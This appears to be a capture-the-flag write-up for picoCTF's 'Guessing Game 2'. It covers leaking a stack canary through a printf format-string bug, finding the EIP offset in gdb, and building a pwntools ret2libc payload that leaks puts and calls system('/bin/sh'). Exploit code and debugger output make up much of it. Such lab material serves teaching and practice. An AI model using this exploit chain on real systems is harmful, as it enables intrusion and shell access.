Guessing Game2
Guess the number
From the source code, we know the number is calculated with rand
address.
The address might change when the program starts everytime, so we could search the number in range [-4096, 4096].
Disassemble the program
Run radare2
to disassemble the program
Execute pd $s > vuln.asm
in r2, exam output vuln.asm, the canary is loaded from gs:[0x14]
, which stored a random generated number, into [ebp-0xc]
. Before the function returns, the canary is checked and call __stack_chk_fail_local
on failed. The canary changes everytime the program start running, but the location on stack is fixed, so we need to find the canary address.
0x08048783 65a114000000 mov eax, dword gs:[0x14]
0x08048789 8945f4 mov dword [ebp - 0xc], eax
0x0804878c 31c0 xor eax, eax
...
0x080487e9 8b45f4 mov eax, dword [ebp - 0xc]
0x080487ec 653305140000. xor eax, dword gs:[0x14]
0x080487f3 7405 je 0x80487fa
0x080487f5 e816010000 call sym.__stack_chk_fail_local
0x080487fa 8b5dfc mov ebx, dword [ebp - 4]
0x080487fd c9 leave
0x080487fe c3 ret
Find canary
The winner name buffer allow us to input something, use the printf
format string to print positional parameters, ‘%N$lx’ for the Nth parameter.
num = None
for i in range(1, 200):
if num is None:
num = must_guess(pr)
else:
pr.sendlineafter("What number would you like to guess?\n", str(num))
pr.readline()
pr.sendlineafter("New winner!\nName? ", 'XXX %{}$lx'.format(i))
print(i, pr.readline())
In the output, several lines are suspicious, such as 20th, 119th and 166th.
...
18 b'Congrats: XXX 0\n'
19 b'Congrats: XXX 1\n'
20 b'Congrats: XXX 1cdadcae\n' canary?
21 b'Congrats: XXX 79804f\n'
22 b'Congrats: XXX fffff7e0\n'
...
116 b'Congrats: XXX f7f69d20\n'
117 b'Congrats: XXX 1c\n'
118 b'Congrats: XXX ff8e5238\n'
119 b'Congrats: XXX 1fc74300\n' canary?
120 b'Congrats: XXX f7f69d20\n'
121 b'Congrats: XXX a\n'
...
164 b'Congrats: XXX 0\n'
165 b'Congrats: XXX 73fe43f7\n'
166 b'Congrats: XXX db4605e7\n' canary?
167 b'Congrats: XXX 0\n'
...
Run the program from gdb, set a breakpoint at 0x080487e9, where to load the prestored canary value into eax.
By checking the suspicious lines, the 119th looks like what we are looking for.
What number would you like to guess?
-2815
Congrats! You win! Your prize is this print statement!
New winner!
Name? %119$lx
Congrats: 9ef1d800
Execute one step forward and check the value in eax. which means the value at 119th indeed is the canary value.
pwndbg> si
0x080487ec in win ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────────────────────────────
*EAX 0x9ef1d800
EBX 0x8049fbc (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049ec4 (_DYNAMIC) ◂— 0x1
ECX 0xffffffff
EDX 0xffffffff
EDI 0xf7edc000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
ESI 0xf7edc000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
EBP 0xff812258 —▸ 0xff812278 ◂— 0x0
ESP 0xff812040 ◂— 0x1
*EIP 0x80487ec (win+126) ◂— xor eax, dword ptr gs:[0x14]
──────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────────────────────────────────────────
0x80487e9 <win+123> mov eax, dword ptr [ebp - 0xc]
► 0x80487ec <win+126> xor eax, dword ptr gs:[0x14]
0x80487f3 <win+133> je win+140 <win+140>
↓
0x80487fa <win+140> mov ebx, dword ptr [ebp - 4]
0x80487fd <win+143> leave
0x80487fe <win+144> ret
0x80487ff <main> lea ecx, [esp + 4]
0x8048803 <main+4> and esp, 0xfffffff0
0x8048806 <main+7> push dword ptr [ecx - 4]
0x8048809 <main+10> push ebp
0x804880a <main+11> mov ebp, esp
Find EIP address
We need to find EIP address to figure out how many padding do we need. Run the program in gdb
, set a breakpoint at leave instruction in win
, feed it 100 ‘A’.
pwndbg> b *0x080487fd
Breakpoint 1 at 0x80487fd
pwndbg> r
Starting program: /home/zlynch-picoctf/vuln
warning: Error disabling address space randomization: Operation not permitted
Welcome to my guessing game!
Version: 2
What number would you like to guess?
-2815
Congrats! You win! Your prize is this print statement!
New winner!
Name? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Now it breaks, check the first 32 words at the top of the stack. The 0x41414141 block starts at 0xffce1d7c, so we know this is where the buffer starts.
pwndbg> x/32wx $esp
0xffce1d70: 0x00000001 0xfffff501 0xfffff501 0x41414141
0xffce1d80: 0x41414141 0x41414141 0x41414141 0x41414141
0xffce1d90: 0x41414141 0x41414141 0x41414141 0x41414141
0xffce1da0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffce1db0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffce1dc0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffce1dd0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffce1de0: 0x00000000 0x00000000 0x00000000 0x00000000
Use info frame
to find out where EIP is. eip at 0xffce1f8c in saved registers section tell us exactly what we are looking for.
pwndbg> info frame
Stack level 0, frame at 0xffce1f90:
eip = 0x80487fd in win; saved eip = 0x804888c
called by frame at 0xffce1fc0
Arglist at 0xffce1f88, args:
Locals at 0xffce1f88, Previous frame's sp is 0xffce1f90
Saved registers:
ebx at 0xffce1f84, ebp at 0xffce1f88, eip at 0xffce1f8c
By calculating the distance between EIP address and buffer address we know the padding is 528. The buffer size is 512 bytes and canary is 4 bytes, so we need another 12 bytes of padding before EIP.
We need to add 12 bytes padding to get to EIP after canary.
Find version of libc
Now we need to call puts
to print the address of itself, the payload would be
padding(512bytes) + canary + padding(12bytes) + puts plt address + win address + puts got address
Find address of puts
on server by running the script.
elf = pwn.ELF(target, False)
payload = b'A' * 512 + pwn.p32(canary) + b'B'*12
payload += pwn.p32(elf.plt['puts'])
payload += pwn.p32(elf.sym['win'])
payload += pwn.p32(elf.got['puts'])
pr.sendlineafter("What number would you like to guess?\n", str(num))
pr.sendlineafter("New winner!\nName? ", payload)
pr.readline()
pr.readline()
puts_addr = pwn.u32(pr.readline()[:4])
With the address we found matches using website libc database search
Find system
offset and str_bin_sh
offset from libc6-i386_2.27-3ubuntu1.2_amd64. Then the addresses could be calculated.
Get shell
To get shell we need to call system
with argument /bin/sh
. Again as win
has been called when we try to find address of puts
, now we just send the payload when winner name is asked. The payload follow format
padding(512bytes) + canary + padding(12bytes) + system address + win address + string bin sh address
payload = b'A' * 512 + pwn.p32(canary) + b'B'*12
payload += pwn.p32(sys_addr)
payload += pwn.p32(elf.sym['win'])
payload += pwn.p32(binsh_addr)
Finally, combine them all to get shell and get the flag.